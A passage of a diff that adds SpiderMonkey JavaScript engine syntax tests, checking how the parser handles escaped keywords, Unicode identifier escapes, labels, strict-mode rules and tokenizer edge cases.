+ // ...and its initializing expression.
+ let varInit = varDecl.declarations[0].init;
+ assertEq(varInit.type, "ArrayExpression");
+ checkLoc(varInit, [1, 8], [2, 3]);
+
+ let outerArrayElements = varInit.elements;
+ assertEq(outerArrayElements.length, 2);
+
+ {
+ // Next the first element, the array inside the initializing expression.
+ let nestedArray = varInit.elements[0];
+ assertEq(nestedArray.type, "ArrayExpression");
+ checkLoc(nestedArray, [1, 10], [1, 327]);
+
+ // Now inside that nested array.
+ let nestedArrayElements = nestedArray.elements;
+ assertEq(nestedArrayElements.length, 3);
+
+ // First the [] in chunk #0
+ let emptyArray = nestedArrayElements[0];
+ assertEq(emptyArray.type, "ArrayExpression");
+ assertEq(emptyArray.elements.length, 0);
+ checkLoc(emptyArray, [1, 12], [1, 14]);
+
+ // Then the big array of empty arrays starting in chunk #1 and ending just
+ // barely in chunk #2.
+ let bigArrayOfEmpties = nestedArrayElements[1];
+ assertEq(bigArrayOfEmpties.type, "ArrayExpression");
+ assertEq(bigArrayOfEmpties.elements.length, 42 + 1);
+ bigArrayOfEmpties.elements.forEach((elem, i) => {
+ assertEq(elem.type, "ArrayExpression");
+ assertEq(elem.elements.length, 0);
+ if (i !== 42)
+ checkLoc(elem, [1, 129 + i * 3], [1, 131 + i * 3]);
+ else
+ checkLoc(elem, [1, 256], [1, 258]); // last element was hand-placed
+ });
+
+ // Then the string literal of multi-unit code points beginning in chunk #2
+ // and ending just into chunk #3 on a second line.
+ let multiUnitStringLiteral = nestedArrayElements[2];
+ assertEq(multiUnitStringLiteral.type, "Literal");
+ assertEq(multiUnitStringLiteral.value, "😱".repeat(61));
+ checkLoc(multiUnitStringLiteral, [1, 262], [1, 325]);
+ }
+
+ {
+ // Finally, the string literal containing a line terminator as element in
+ // the outermost array.
+ let stringLiteralWithEmbeddedTerminator = outerArrayElements[1];
+ assertEq(stringLiteralWithEmbeddedTerminator.type, "Literal");
+ assertEq(stringLiteralWithEmbeddedTerminator.value, "\u2028");
+ checkLoc(stringLiteralWithEmbeddedTerminator, [1, 329], [2, 1]);
+ }
+}
+testGuaranteedSingleUnit();
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Testing completed");
diff --git a/js/src/tests/non262/syntax/declaration-forbidden-in-label.js b/js/src/tests/non262/syntax/declaration-forbidden-in-label.js
new file mode 100644
index 0000000000..53acb39961
--- /dev/null
+++ b/js/src/tests/non262/syntax/declaration-forbidden-in-label.js
@@ -0,0 +1,34 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1288459;
+var summary =
+ "Properly implement the spec's distinctions between StatementListItem and " +
+ "Statement grammar productions and their uses";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+assertThrowsInstanceOf(() => Function("a: let x;"), SyntaxError);
+assertThrowsInstanceOf(() => Function("b: const y = 3;"), SyntaxError);
+assertThrowsInstanceOf(() => Function("c: class z {};"), SyntaxError);
+
+assertThrowsInstanceOf(() => Function("'use strict'; d: function w() {};"), SyntaxError);
+
+// Annex B.3.2 allows this in non-strict mode code.
+Function("e: function x() {};");
+
+assertThrowsInstanceOf(() => Function("f: function* y() {}"), SyntaxError);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/syntax/escaped-let-static-identifier.js b/js/src/tests/non262/syntax/escaped-let-static-identifier.js
new file mode 100644
index 0000000000..a4353a516f
--- /dev/null
+++ b/js/src/tests/non262/syntax/escaped-let-static-identifier.js
@@ -0,0 +1,57 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1288460;
+var summary =
+ "|let| and |static| are forbidden as Identifier only in strict mode code, " +
+ "and it's permissible to use them as Identifier (with or without " +
+ "containing escapes) in non-strict code";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function t(code)
+{
+ var strictSemi = " 'use strict'; " + code;
+ var strictASI = " 'use strict' \n " + code;
+
+ var creationFunctions = [Function];
+ if (typeof evaluate === "function")
+ creationFunctions.push(evaluate);
+ if (typeof parseModule === "function")
+ creationFunctions.push(parseModule);
+
+ for (var func of creationFunctions)
+ {
+ if (typeof parseModule === "function" && func === parseModule)
+ assertThrowsInstanceOf(() => func(code), SyntaxError);
+ else
+ func(code);
+
+ assertThrowsInstanceOf(() => func(strictSemi), SyntaxError);
+ assertThrowsInstanceOf(() => func(strictASI), SyntaxError);
+ }
+}
+
+t("l\\u0065t: 42;");
+t("if (1) l\\u0065t: 42;");
+t("l\\u0065t = 42;");
+t("if (1) l\\u0065t = 42;");
+
+t("st\\u0061tic: 42;");
+t("if (1) st\\u0061tic: 42;");
+t("st\\u0061tic = 42;");
+t("if (1) st\\u0061tic = 42;");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/syntax/escaped-strict-reserved-words-and-yield.js b/js/src/tests/non262/syntax/escaped-strict-reserved-words-and-yield.js
new file mode 100644
index 0000000000..9d683bd975
--- /dev/null
+++ b/js/src/tests/non262/syntax/escaped-strict-reserved-words-and-yield.js
@@ -0,0 +1,105 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+const testCases = [
+ // Label identifier.
+ id => `${id}: ;`,
+
+ // Binding identifier.
+ id => `var ${id};`,
+ id => `let ${id};`,
+ id => `const ${id} = 0;`,
+
+ // Binding identifier in binding pattern.
+ id => `var [${id}] = [];`,
+ id => `var [${id} = 0] = [];`,
+ id => `var [...${id}] = [];`,
+ id => `var {a: ${id}} = {};`,
+ id => `var {${id}} = {};`,
+ id => `var {${id} = 0} = {};`,
+
+ id => `let [${id}] = [];`,
+ id => `let [${id} = 0] = [];`,
+ id => `let [...${id}] = [];`,
+ id => `let {a: ${id}} = {};`,
+ id => `let {${id}} = {};`,
+ id => `let {${id} = 0} = {};`,
+
+ id => `const [${id}] = [];`,
+ id => `const [${id} = 0] = [];`,
+ id => `const [...${id}] = [];`,
+ id => `const {a: ${id}} = {};`,
+ id => `const {${id}} = {};`,
+ id => `const {${id} = 0} = {};`,
+
+ // Identifier reference.
+ id => `void ${id};`,
+];
+
+const strictReservedWords = [
+ "implements",
+ "interface",
+ "package",
+ "private",
+ "protected",
+ "public",
+];
+
+function escapeWord(s) {
+ return "\\u00" + s.charCodeAt(0).toString(16) + s.substring(1);
+}
+
+for (let strictReservedWordOrYield of [...strictReservedWords, "yield"]) {
+ let escapedStrictReservedWordOrYield = escapeWord(strictReservedWordOrYield);
+
+ for (let testCase of testCases) {
+ eval(testCase(strictReservedWordOrYield));
+ eval(testCase(escapedStrictReservedWordOrYield));
+
+ assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ ${testCase(strictReservedWordOrYield)}
+ `), SyntaxError);
+
+ assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ ${testCase(escapedStrictReservedWordOrYield)}
+ `), SyntaxError);
+ }
+}
+
+// |yield| is always a keyword in generator functions.
+for (let testCase of testCases) {
+ let yield = "yield";
+ let escapedYield = escapeWord("yield");
+
+ assertThrowsInstanceOf(() => eval(String.raw`
+ function* g() {
+ ${testCase(yield)}
+ }
+ `), SyntaxError);
+
+ assertThrowsInstanceOf(() => eval(String.raw`
+ function* g() {
+ ${testCase(escapedYield)}
+ }
+ `), SyntaxError);
+
+ assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function* g() {
+ ${testCase(yield)}
+ }
+ `), SyntaxError);
+
+ assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function* g() {
+ ${testCase(escapedYield)}
+ }
+ `), SyntaxError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/syntax/identifier_vertical_tilde.js b/js/src/tests/non262/syntax/identifier_vertical_tilde.js
new file mode 100644
index 0000000000..94fb55f637
--- /dev/null
+++ b/js/src/tests/non262/syntax/identifier_vertical_tilde.js
@@ -0,0 +1,20 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// U+2E2F (VERTICAL TILDE) is in Gc=Lm, but also in [:Pattern_Syntax:].
+// http://www.unicode.org/reports/tr31/
+const verticalTilde = 0x2E2F;
+
+// Leading character in identifier.
+assertThrowsInstanceOf(() => eval(`${String.fromCodePoint(verticalTilde)}`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`\\u${verticalTilde.toString(16).padStart(4, "0")}`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`\\u{${verticalTilde.toString(16)}}`), SyntaxError);
+
+// Not leading character in identifier.
+assertThrowsInstanceOf(() => eval(`A${String.fromCodePoint(verticalTilde)}`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`A\\u${verticalTilde.toString(16).padStart(4, "0")}`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`A\\u{${verticalTilde.toString(16)}}`), SyntaxError);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/syntax/identifiers-with-extended-unicode-escape.js b/js/src/tests/non262/syntax/identifiers-with-extended-unicode-escape.js
new file mode 100644
index 0000000000..e4b5f46029
--- /dev/null
+++ b/js/src/tests/non262/syntax/identifiers-with-extended-unicode-escape.js
@@ -0,0 +1,208 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Simple cases, not using eval.
+{
+ let \u{61} = 123;
+ assertEq(a, 123);
+
+ let \u{6A} = 123;
+ assertEq(j, 123);
+
+ let a\u{62} = 456;
+ assertEq(ab, 456);
+
+ let \u{63}\u{6b} = 789;
+ assertEq(ck, 789);
+}
+
+const leadingZeros = [0, 1, 2, 3, 4, 100].map(c => "0".repeat(c));
+
+
+// From DerivedCoreProperties.txt (Unicode 9):
+// Derived Property: ID_Start
+// Characters that can start an identifier.
+// Generated from:
+// Lu + Ll + Lt + Lm + Lo + Nl
+// + Other_ID_Start
+// - Pattern_Syntax
+// - Pattern_White_Space
+const idStart = [
+ 0x0041, // LATIN CAPITAL LETTER A, Gc=Lu
+ 0x006A, // LATIN SMALL LETTER J, Gc=Ll
+ 0x00C9, // LATIN CAPITAL LETTER E WITH ACUTE, Gc=Lu
+ 0x00FF, // LATIN SMALL LETTER Y WITH DIAERESIS, Gc=Ll
+ 0x01C5, // LATIN CAPITAL LETTER D WITH SMALL LETTER Z WITH CARON, Gc=Lt
+ 0x0294, // LATIN LETTER GLOTTAL STOP, Gc=Lo
+ 0x037A, // GREEK YPOGEGRAMMENI, Gc=Lm
+ 0x16EE, // RUNIC ARLAUG SYMBOL, Gc=Nl
+ 0xFF70, // HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK, Gc=Lm
+];
+
+const idStartSupplemental = [
+ 0x10140, // GREEK ACROPHONIC ATTIC ONE QUARTER, Gc=Nl
+ 0x10300, // OLD ITALIC LETTER A, Gc=Lo
+ 0x10400, // DESERET CAPITAL LETTER LONG I, Gc=Lu
+ 0x10430, // DESERET SMALL LETTER SHORT A, Gc=Ll
+ 0x16B40, // PAHAWH HMONG SIGN VOS SEEV, Gc=Lm
+];
+
+// From PropList.txt (Unicode 9):
+const otherIdStart = [
+ 0x1885, // MONGOLIAN LETTER ALI GALI BALUDA, Gc=Mn
+ 0x1886, // MONGOLIAN LETTER ALI GALI THREE BALUDA, Gc=Mn
+ 0x2118, // SCRIPT CAPITAL P, Gc=Sm
+ 0x212E, // ESTIMATED SYMBOL, Gc=So
+ 0x309B, // KATAKANA-HIRAGANA VOICED SOUND MARK, Gc=Sk
+ 0x309C, // KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, Gc=Sk
+];
+
+// From DerivedCoreProperties.txt (Unicode 9):
+// Derived Property: ID_Continue
+// Characters that can continue an identifier.
+// Generated from:
+// ID_Start
+// + Mn + Mc + Nd + Pc
+// + Other_ID_Continue
+// - Pattern_Syntax
+// - Pattern_White_Space
+const idContinue = [
+ 0x0030, // DIGIT ZERO, Gc=Nd
+ 0x0300, // COMBINING GRAVE ACCENT, Gc=Mn
+ 0x0660, // ARABIC-INDIC DIGIT ZERO, Gc=Nd
+ 0x0903, // DEVANAGARI SIGN VISARGA, Gc=Mc
+ 0xFF10, // FULLWIDTH DIGIT ZERO, Gc=Nd
+ 0xFF3F, // FULLWIDTH LOW LINE, Gc=Pc
+];
+
+const idContinueSupplemental = [
+ 0x101FD, // PHAISTOS DISC SIGN COMBINING OBLIQUE STROKE, Gc=Mn
+ 0x104A0, // OSMANYA DIGIT ZERO, Gc=Nd
+ 0x11000, // BRAHMI SIGN CANDRABINDU, Gc=Mc
+];
+
+// From PropList.txt (Unicode 9):
+const otherIdContinue = [
+ 0x00B7, // MIDDLE DOT, Gc=Po
+ 0x0387, // GREEK ANO TELEIA, Gc=Po
+ 0x1369, // ETHIOPIC DIGIT ONE, Gc=No
+ 0x136A, // ETHIOPIC DIGIT TWO, Gc=No
+ 0x136B, // ETHIOPIC DIGIT THREE, Gc=No
+ 0x136C, // ETHIOPIC DIGIT FOUR, Gc=No
+ 0x136D, // ETHIOPIC DIGIT FIVE, Gc=No
+ 0x136E, // ETHIOPIC DIGIT SIX, Gc=No
+ 0x136F, // ETHIOPIC DIGIT SEVEN, Gc=No
+ 0x1370, // ETHIOPIC DIGIT EIGHT, Gc=No
+ 0x1371, // ETHIOPIC DIGIT NINE, Gc=No
+ 0x19DA, // NEW TAI LUE THAM DIGIT ONE, Gc=No
+];
+
+for (let ident of [...idStart, ...otherIdStart, ...idStartSupplemental]) {
+ for (let count of leadingZeros) {
+ let zeros = "0".repeat(count);
+ eval(`
+ let \\u{${zeros}${ident.toString(16)}} = 123;
+ assertEq(${String.fromCodePoint(ident)}, 123);
+ `);
+ }
+}
+
+for (let ident of [...idContinue, ...idContinueSupplemental, ...otherIdContinue]) {
+ for (let zeros of leadingZeros) {
+ assertThrowsInstanceOf(() => eval(`\\u{${zeros}${ident.toString(16)}}`), SyntaxError);
+ }
+}
+
+for (let ident of [...idStart, ...otherIdStart, ...idContinue, ...otherIdContinue, ...idStartSupplemental, ...idContinueSupplemental]) {
+ for (let zeros of leadingZeros) {
+ eval(`
+ let A\\u{${zeros}${ident.toString(16)}} = 123;
+ assertEq(${String.fromCodePoint(0x41, ident)}, 123);
+ `);
+ }
+}
+
+
+const notIdentifiers = [
+ 0x0000, // NULL, Gc=Cc
+ 0x000A, // LINE FEED (LF), Gc=Cc
+ 0x005E, // CIRCUMFLEX ACCENT, Gc=Sk
+ 0x00B1, // PLUS-MINUS SIGN, Gc=Sm
+ 0xFF61, // HALFWIDTH IDEOGRAPHIC FULL STOP, Gc=Po
+ 0x10061, // Not assigned.
+ 0x10100, // AEGEAN WORD SEPARATOR LINE, Gc=Po
+ 0x100061, // <Plane 16 Private Use>, Gc=Co
+];
+
+for (let ident of notIdentifiers) {
+ for (let zeros of leadingZeros) {
+ assertThrowsInstanceOf(() => eval(`\\u{${zeros}${ident.toString(16)}}`), SyntaxError);
+ }
+}
+
+
+const incompleteEscapes = [
+ "\\u{",
+ "\\u{6",
+ "\\u{61",
+ "\\u{061",
+ "\\u{0061",
+ "\\u{00061",
+ "\\u{000061",
+ "\\u{0000061",
+
+ "\\u}",
+];
+for (let invalid of incompleteEscapes) {
+ // Ends with EOF.
+ assertThrowsInstanceOf(() => eval(invalid), SyntaxError);
+
+ // Ends with EOL.
+ assertThrowsInstanceOf(() => eval(invalid + "\n"), SyntaxError);
+
+ // Ends with space.
+ assertThrowsInstanceOf(() => eval(invalid + " "), SyntaxError);
+}
+
+
+const invalidEscapes = [
+ // Empty escape.
+ "",
+
+ // Not hexadecimal characters.
+ "\0",
+ "G",
+ "Z",
+ "\uFFFF",
+ "\uDBFF\uDFFF",
+
+ // Has space characters.
+ " 61",
+ "61 ",
+
+ // Has newline characters.
+ "\n61",
+ "61\n",
+
+ // Exceeds 0x10FFFF, six characters.
+ "110000",
+ "110001",
+ "fffffe",
+ "ffffff",
+
+ // Exceeds 0x10FFFF, more than six characters.
+ "10ffff0",
+ "10ffffabcdef",
+];
+
+for (let invalid of invalidEscapes) {
+ for (let zeros of leadingZeros) {
+ assertThrowsInstanceOf(() => eval(`\\u{${zeros}${invalid}}`), SyntaxError);
+ assertThrowsInstanceOf(() => eval(`var \\u{${zeros}${invalid}}`), SyntaxError);
+ }
+}
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/syntax/keyword-unescaped-requirement.js b/js/src/tests/non262/syntax/keyword-unescaped-requirement.js
new file mode 100644
index 0000000000..eb6edd57db
--- /dev/null
+++ b/js/src/tests/non262/syntax/keyword-unescaped-requirement.js
@@ -0,0 +1,68 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1204027;
+var summary =
+ "Escape sequences aren't allowed in bolded grammar tokens (that is, in " +
+ "keywords, possibly contextual keywords)";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function memberVariants(code)
+{
+ return ["(class { constructor() {} " + code + " });",
+ "({ " + code + " })"];
+}
+
+var badScripts =
+ [
+ "class { st\\u0061tic m() { return 0; } }",
+ "class { st\\u0061tic get foo() { return 0; } }",
+ "class { st\\u0061tic set foo(v) {} }",
+ "class { st\\u0061tic get ['hi']() { return 0; } }",
+ "class { st\\u0061tic set ['hi'](v) {} }",
+ "class { st\\u0061tic get 'hi'() { return 0; } }",
+ "class { st\\u0061tic set 'hi'(v) {} }",
+ "class { st\\u0061tic get 42() { return 0; } }",
+ "class { st\\u0061tic set 42(v) {} }",
+ ...memberVariants("\\u0067et foo() { return 0; }"),
+ ...memberVariants("\\u0073et foo() {}"),
+ ...memberVariants("g\\u0065t foo() { return 0; }"),
+ ...memberVariants("s\\u0065t foo() {}"),
+ ...memberVariants("g\\u0065t ['hi']() { return 0; }"),
+ ...memberVariants("s\\u0065t ['hi']() {}"),
+ ...memberVariants("g\\u0065t 'hi'() { return 0; }"),
+ ...memberVariants("s\\u0065t 'hi'() {}"),
+ ...memberVariants("g\\u0065t 42() { return 0; }"),
+ ...memberVariants("s\\u0065t 42() {}"),
+ "for (var foo o\\u0066 [1]) ;",
+ "for (var foo \\u006ff [1]) ;",
+ "for (var foo i\\u006e [1]) ;",
+ "for (var foo \\u0069n [1]) ;",
+ "function f() { return n\\u0065w.target }",
+ "function f() { return \\u006eew.target }",
+ "function f() { return new.t\\u0061rget }",
+ "function f() { return new.\\u0074arget }",
+ "function f() { return n\\u0065w Array }",
+ "function f() { return \\u006eew Array }",
+ "\\u0064o { } while (0)",
+ "[for (x \\u006ff [1]) x]",
+ "[for (x o\\u0066 [1]) x]",
+ ];
+
+for (var script of badScripts)
+ assertThrowsInstanceOf(() => Function(script), SyntaxError);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/syntax/let-as-label.js b/js/src/tests/non262/syntax/let-as-label.js
new file mode 100644
index 0000000000..a01ad556e1
--- /dev/null
+++ b/js/src/tests/non262/syntax/let-as-label.js
@@ -0,0 +1,35 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1288459;
+var summary = "let can't be used as a label in strict mode code";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+Function("let: 42");
+Function("l\\u0065t: 42");
+assertThrowsInstanceOf(() => Function(" 'use strict'; let: 42"), SyntaxError);
+assertThrowsInstanceOf(() => Function(" 'use strict' \n let: 42"), SyntaxError);
+assertThrowsInstanceOf(() => Function(" 'use strict'; l\\u0065t: 42"), SyntaxError);
+assertThrowsInstanceOf(() => Function(" 'use strict' \n l\\u0065t: 42"), SyntaxError);
+
+eval("let: 42");
+eval("l\\u0065t: 42");
+assertThrowsInstanceOf(() => eval(" 'use strict'; let: 42"), SyntaxError);
+assertThrowsInstanceOf(() => eval(" 'use strict' \n let: 42;"), SyntaxError);
+assertThrowsInstanceOf(() => eval(" 'use strict'; l\\u0065t: 42"), SyntaxError);
+assertThrowsInstanceOf(() => eval(" 'use strict' \n l\\u0065t: 42;"), SyntaxError);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/syntax/line-number-maintenance-for-identifier-containing-escape-terminated-by-unicode-separator.js b/js/src/tests/non262/syntax/line-number-maintenance-for-identifier-containing-escape-terminated-by-unicode-separator.js
new file mode 100644
index 0000000000..4293cbb0a2
--- /dev/null
+++ b/js/src/tests/non262/syntax/line-number-maintenance-for-identifier-containing-escape-terminated-by-unicode-separator.js
@@ -0,0 +1,41 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 9999999;
+var summary =
+ "Properly maintain the line number when tokenizing identifiers that " +
+ "contain Unicode escapes *and* are terminated by U+2028 LINE SEPARATOR " +
+ "or U+2029 PARAGRAPH SEPARATOR";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var code = "var a\u0062c = [];\n"; // line 1
+
+for (var i = 0; i < 100; i++)
+ code += "a\\u0062c\u2028a\\u0062c\u2029"; // lines 2..2+200-1
+
+code += "@"; // line 2+200
+
+try
+{
+ eval(code);
+ throw new Error("didn't throw");
+}
+catch (e)
+{
+ assertEq(e.lineNumber, 2 + 200);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/syntax/linefeed-at-eof-in-unterminated-string-or-template.js b/js/src/tests/non262/syntax/linefeed-at-eof-in-unterminated-string-or-template.js
new file mode 100644
index 0000000000..461f61ebd3
--- /dev/null
+++ b/js/src/tests/non262/syntax/linefeed-at-eof-in-unterminated-string-or-template.js
@@ -0,0 +1,88 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1476409;
+var summary =
+ "Properly handle the case of U+005C REVERSE SOLIDUS U+000D CARRIAGE RETURN " +
+ "at the end of source text being tokenized, in the middle of a string or " +
+ "template literal, where the next code point in memory (outside the bounds " +
+ "of the source text) is U+000A LINE FEED";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function expectSyntaxError(code)
+{
+ try
+ {
+ eval(code);
+ throw new Error("didn't throw");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof SyntaxError, true,
+ "got " + e.name + ", expected SyntaxError");
+ }
+}
+
+// The fundamental requirements of this test:
+//
+// 1. The computed string that is eval'd must be a Script that ends in a string
+// literal ending with the code points U+005C REVERSE SOLIDUS U+000D CARRIAGE
+// RETURN.
+// 2. The *memory* that is actually tokenized/parsed by eval must be
+// immediately followed by U+000A LINE FEED.
+//
+// There's only one way to guarantee a U+000A LINE FEED after the source text:
+// compute the source text as a dependent string, of a larger (linear) string.
+// A simple substr will do the trick -- just as long as the substring can't fit
+// in inline storage. 53 in the tests below comfortably exceeds all inline
+// storage limits.
+//
+// One final wrinkle: because we only tokenize/parse two-byte source text right
+// now, ensuring we directly tokenize/parse the dependent string's character
+// data means the dependent string must have two-byte character data, hence the
+// '\u1234' in the strings below.
+
+function singleQuote()
+{
+ var containsBadSingleQuoteLiteral =
+ "\u1234x'01234567890123456789012345678901234567890123456789\\\r\n0123456789";
+ // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+ expectSyntaxError(containsBadSingleQuoteLiteral.substr(2, 53));
+}
+singleQuote();
+
+function doubleQuote()
+{
+ var containsBadDoubleQuoteLiteral =
+ "\u1234x\"01234567890123456789012345678901234567890123456789\\\r\n0123456789";
+ // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+ expectSyntaxError(containsBadDoubleQuoteLiteral.substr(2, 53));
+}
+doubleQuote();
+
+function template()
+{
+ var containsBadTemplateLiteral =
+ "\u1234x`01234567890123456789012345678901234567890123456789\\\r\n0123456789";
+ // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+ expectSyntaxError(containsBadTemplateLiteral.substr(2, 53));
+}
+template();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/syntax/non-simple-with-strict-directive.js b/js/src/tests/non262/syntax/non-simple-with-strict-directive.js
new file mode 100644
index 0000000000..a0e5366879
--- /dev/null
+++ b/js/src/tests/non262/syntax/non-simple-with-strict-directive.js
@@ -0,0 +1,140 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+const testCases = [
+ // Array destructuring.
+ "[]",
+ "[a]",
+ "x, [a]",
+ "[a], x",
+
+ // Array destructuring with defaults.
+ "[a = 0]",
+ "x, [a = 0]",
+ "[a = 0], x",
+
+ // Array destructuring with rest binding identifier.
+ "[...a]",
+ "x, [...a]",
+ "[...a], x",
+
+ // Array destructuring with rest binding pattern.
+ "[...[a]]",
+ "x, [...[a]]",
+ "[...[a]], x",
+
+ // Object destructuring.
+ "{}",
+ "{p: o}",
+ "x, {p: o}",
+ "{p: o}, x",
+
+ // Object destructuring with defaults.
+ "{p: o = 0}",
+ "x, {p: o = 0}",
+ "{p: o = 0}, x",
+
+ // Object destructuring with shorthand identifier form.
+ "{o}",
+ "x, {o}",
+ "{o}, x",
+
+ // Object destructuring with CoverInitName.
+ "{o = 0}",
+ "x, {o = 0}",
+ "{o = 0}, x",
+
+ // Default parameter.
+ "d = 0",
+ "x, d = 0",
+ "d = 0, x",
+
+ // Rest parameter.
+ "...rest",
+ "x, ...rest",
+
+ // Rest parameter with array destructuring.
+ "...[]",
+ "...[a]",
+ "x, ...[]",
+ "x, ...[a]",
+
+ // Rest parameter with object destructuring.
+ "...{}",
+ "...{p: o}",
+ "x, ...{}",
+ "x, ...{p: o}",
+
+ // All non-simple cases combined.
+ "x, d = 123, [a], {p: 0}, ...rest",
+];
+
+const GeneratorFunction = function*(){}.constructor;
+
+const functionDefinitions = [
+ // FunctionDeclaration
+ parameters => `function f(${parameters}) { "use strict"; }`,
+
+ // FunctionExpression
+ parameters => `void function(${parameters}) { "use strict"; };`,
+ parameters => `void function f(${parameters}) { "use strict"; };`,
+
+ // Function constructor
+ parameters => `Function('${parameters}', '"use strict";')`,
+
+ // GeneratorDeclaration
+ parameters => `function* g(${parameters}) { "use strict"; }`,
+
+ // GeneratorExpression
+ parameters => `void function*(${parameters}) { "use strict"; };`,
+ parameters => `void function* g(${parameters}) { "use strict"; };`,
+
+ // GeneratorFunction constructor
+ parameters => `GeneratorFunction('${parameters}', '"use strict";')`,
+
+ // MethodDefinition
+ parameters => `({ m(${parameters}) { "use strict"; } });`,
+ parameters => `(class { m(${parameters}) { "use strict"; } });`,
+ parameters => `class C { m(${parameters}) { "use strict"; } }`,
+
+ // MethodDefinition (constructors)
+ parameters => `(class { constructor(${parameters}) { "use strict"; } });`,
+ parameters => `class C { constructor(${parameters}) { "use strict"; } }`,
+
+ // MethodDefinition (getter)
+ parameters => `({ get m(${parameters}) { "use strict"; } });`,
+ parameters => `(class { get m(${parameters}) { "use strict"; } });`,
+ parameters => `class C { get m(${parameters}) { "use strict"; } }`,
+
+ // MethodDefinition (setter)
+ parameters => `({ set m(${parameters}) { "use strict"; } });`,
+ parameters => `(class { set m(${parameters}) { "use strict"; } });`,
+ parameters => `class C { set m(${parameters}) { "use strict"; } }`,
+
+ // GeneratorMethod
+ parameters => `({ *m(${parameters}) { "use strict"; } });`,
+ parameters => `(class { *m(${parameters}) { "use strict"; } });`,
+ parameters => `class C { *m(${parameters}) { "use strict"; } }`,
+
+ // ArrowFunction
+ parameters => `(${parameters}) => { "use strict"; };`,
+];
+
+for (let nonSimpleParameters of testCases) {
+ for (let def of functionDefinitions) {
+ // Non-strict script code.
+ assertThrowsInstanceOf(() => eval(`
+ ${def(nonSimpleParameters)}
+ `), SyntaxError, def(nonSimpleParameters));
+
+ // Strict script code.
+ assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ ${def(nonSimpleParameters)}
+ `), SyntaxError, `"use strict"; ${def(nonSimpleParameters)}`);
+ }
+}
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/syntax/omitted-catch-binding.js b/js/src/tests/non262/syntax/omitted-catch-binding.js
new file mode 100644
index 0000000000..86b3c0f4f8
--- /dev/null
